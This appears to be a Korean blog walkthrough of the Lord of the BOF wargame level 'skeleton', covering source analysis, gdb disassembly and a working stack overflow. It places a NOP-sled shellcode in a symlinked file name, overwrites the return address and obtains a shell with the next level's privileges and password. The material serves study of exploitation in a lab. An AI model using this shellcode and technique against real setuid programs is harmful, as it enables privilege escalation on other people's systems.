[lob] 해커스쿨 vampire -> skeleton 풀이

l 해커스쿨 vampire 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

 

 

 

vampire 문제의 아이디인   vampire 와 password인   music world 을 입력하여 vampire의 유저로 접속합니다.

 

 

 

[vampire@localhost vampire]$ ls -l
total 20
-rwsr-sr-x    1 skeleton skeleton    12752 Mar  3  2010 skeleton
-rw-r--r--    1 root     root          821 Mar 29  2010 skeleton.c

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/vampire ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 skeleton.c파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[vampire@localhost vampire]$ cat skeleton.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/

#include <stdio.h> 
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i, saved_argc;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        // argc saver
        saved_argc = argc;

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

        // ultra argv hunter!
        for(i=0; i<saved_argc; i++)
                memset(argv[i], 0, strlen(argv[i]));
}

 

 

 

cat 명령어를 사용하여 gremlin.c파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

힌트 코드를 분석해보겠습니다.

1. argc는 2 이상이어야 합니다.

2. 환경 변수를 사용할 수 없습니다.

3. argv[1]의 48번째는 \xbf여야 합니다.

4. argv[1]의 길이는 48 이하여야 합니다.

5. ultra argv hunter 코드로 인해 argv[0], argv[1], argv[2]... 사용할 수 없습니다.

 

코드를 분석해보니 앞의 문제들에서 사용했던 방법들이 다 막힌 것을 볼 수 있습니다. 일단 gdb를 이용하여 분석을 먼저 해보겠습니다.

 

 

 

[vampire@localhost vampire]$ cp skeleton vampire
[vampire@localhost vampire]$ ls -l
total 36
-rwsr-sr-x    1 skeleton skeleton    12752 Mar  3  2010 skeleton
-rw-r--r--    1 root     root          821 Mar 29  2010 skeleton.c
-rwsr-sr-x    1 vampire  vampire     12752 Jan 15 14:28 vampire

 

 

 

문제를 풀기 전 퍼미션 문제 때문에 skeleton 파일을 복사해 vampire라는 이름의 파일을 하나 생성하였습니다.

 

 

 

[vampire@localhost vampire]$ gdb vampire
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>
:       push   %ebp 
0x8048501 <main+1>:     mov    %esp,%ebp
0x8048503 <main+3>:     sub    $0x30,%esp
0x8048506 <main+6>:     cmpl   $0x1,0x8(%ebp)
0x804850a <main+10>:    jg     0x8048523 <main+35>
0x804850c <main+12>:    push   $0x80486d0
0x8048511 <main+17>:    call   0x8048410 <printf>
...
0x80485e0 <main+224>:   mov    0x8(%ebp),%eax
0x80485e3 <main+227>:   mov    %eax,0xffffffd0(%ebp)
0x80485e6 <main+230>:   mov    0xc(%ebp),%eax
0x80485e9 <main+233>:   add    $0x4,%eax
0x80485ec <main+236>:   mov    (%eax),%edx
0x80485ee <main+238>:   push   %edx
0x80485ef <main+239>:   lea    0xffffffd8(%ebp),%eax
0x80485f2 <main+242>:   push   %eax
0x80485f3 <main+243>:   call   0x8048440 <strcpy> 
0x80485f8 <main+248>:   add    $0x8,%esp
0x80485fb <main+251>:   lea    0xffffffd8(%ebp),%eax
0x80485fe <main+254>:   push   %eax
0x80485ff <main+255>:   push   $0x8048710
...

 

 

 

vampire 파일을 gdb로 분석해보도록 하겠습니다. 
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.

 

 

1. 0x8048503 <main+3>:     sub    $0x30,%esp 

0x30을 십진수로 변환하면 48입니다. 위의 코드는 스택에 48byte의 영역을 할당하는 것을 의미합니다.

 

 

2. 0x80485f3 <main+243>:   call   0x8048440 <strcpy> 

vampire.c 코드에서 strcpy 부분을 보면 buffer와 argv[1]을 인자로 전달하고 있습니다. 스택에 push 되는 순서는 argv[1], buffer 순서이기 때문에 buffer의 시작 주소는 ebp - [0xffffffd8의 2의 보수한 값]이 됩니다.

 

11011000 => 00100111 => 00101000 = 8 + 32 = 40

buffer의 시작 지점이 ebp - 40부터인 것을 알 수 있습니다. 

 

 

 

메모리 구조를 보면 아래와 같습니다.

 

 

 

(gdb) b *main+369
Breakpoint 1 at 0x8048671
(gdb) r `python -c 'print "A"*47+"\xbf"'`
Starting program: /home/vampire/vampire `python -c 'print "A"*47+"\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿

Breakpoint 1, 0x8048671 in main ()
(gdb) x/10000s $esp
...
0xbfffffe6:      "/home/vampire/vampire"
...

 

 

 

main의 leave에 breakpoint를 걸고, skeleton.c 파일의 조건에 맞추어 실행을 시켜보면 대부분의 공간들이 초기화 되어있습니다. 하지만 계속 엔터를 쳐서 스택의 가장 높은 주소까지 가게 되면 파일명이 남아있는 것을 볼 수 있습니다. 

 

결국 이번 문제 또한 파일명에 셸 코드를 넣어 문제를 풀 수 있습니다. 파일명이 있는 주소는  0xbfffffe6 입니다.

 

 

 

[vampire@localhost vampire]$ bash2
[vampire@localhost vampire]$ cp vampire `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'`
[vampire@localhost vampire]$ ls -l
total 52
-rwsr-sr-x    1 skeleton skeleton    12752 Mar  3  2010 skeleton
-rw-r--r--    1 root     root          821 Mar 29  2010 skeleton.c
-rwsr-sr-x    1 vampire  vampire     12752 Jan 15 14:28 vampire
-rwsr-sr-x    1 vampire  vampire     12752 Jan 15 15:09 ????????????????????????????????????????????????????????????????????????????????????????????????????ë?^1ɱ2?l?ÿ??é?uöë?èêÿÿÿ2ÁQi00tii0cjo?äQT?â?±?Î?????????????????????????????????????????????????????????????????????????????????????????????????????

[vampire@localhost vampire]$ ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'` `python -c 'print "\x90"*44+"\xe6\xff\xff\xbf"'`
æÿÿ¿
Segmentation fault (core dumped)

 

 

 

vampire 파일을 복사하여 셸 코드의 이름으로 파일을 하나 만들어주었습니다. 앞의 문제들과 다르게 \x90을 셸 코드의 뒤에도 붙여주는 이유는 스택의 바닥과 셸 코드가 너무 가까우면 셸 코드가 제대로 실행되지 않기 때문입니다.

 

실행시켜보니 core dumped라는 문구가 뜹니다. core 파일을 gdb로 분석해 정확한 주소를 찾아보겠습니다. 

 

 

 

[vampire@localhost vampire]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `                                                                           '.
Program terminated with signal 11, Segmentation fault.
#0  0xbffffffb in ?? ()
(gdb) x/10000s $esp

...
0xbfffff01:      "./", '\220' , "ë\021^1ɱ2\200l\016ÿ\001\200é\001uöë\005èêÿÿÿ2ÁQi00tii0cjo\212äQT\212â\232±\fÎ\201", '\220' ...
0xbfffffc9:      '\220' 
...

 

 

 

파일명이 있는 주소가  0xbfffff01 입니다. 정확한 주소를 찾았기 때문에 기존에 vampire 파일을 복사해서 만든 셸 코드 파일을 삭제하고 심볼릭 링크를 이용하여 같은 이름으로 파일을 다시 생성해주겠습니다.

 

그리고 아래의 페이로드를 이용해 생성한 파일을 실행시켜보겠습니다.

 

 

 

| 페이로드

./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'` `python -c 'print "\x90"*44+"\x01\xff\xff\xbf"'`

 

 

 

[vampire@localhost vampire]$ ln -s skeleton `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'`
[vampire@localhost vampire]$ ls -l
total 100
-rw-------    1 vampire  vampire     61440 Jan 15 15:09 core
-rwsr-sr-x    1 skeleton skeleton    12752 Mar  3  2010 skeleton
-rw-r--r--    1 root     root          821 Mar 29  2010 skeleton.c
-rwsr-sr-x    1 vampire  vampire     12752 Jan 15 14:28 vampire
lrwxrwxrwx    1 vampire  vampire         8 Jan 15 15:12 ????????????????????????????????????????????????????????????????????????????????????????????????????ë?^1ɱ2?l?ÿ??é?uöë?èêÿÿÿ2ÁQi00tii0cjo?äQT?â?±?Î????????????????????????????????????????????????????????????????????????????????????????????????????? -> skeleton

[vampire@localhost vampire]$ ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'` `python -c 'print "\x90"*44+"\x01\xff\xff\xbf"'`
ÿÿ¿
bash$ id
uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)
bash$ my-pass
euid = 510
shellcoder

 

 

 

위의 페이로드를 실행시킨 후 id 명령을 쳐보니 euid가 skeleton인 것을 확인할 수 있습니다. 그리고 my-pass를 입력하게 되면 skeleton user의 password를 알 수 있습니다.

 

 

 

l skeleton 비밀번호

더보기

euid = 510 
shellcoder

 

이 글을 공유하기

댓글

Designed by JB FACTORY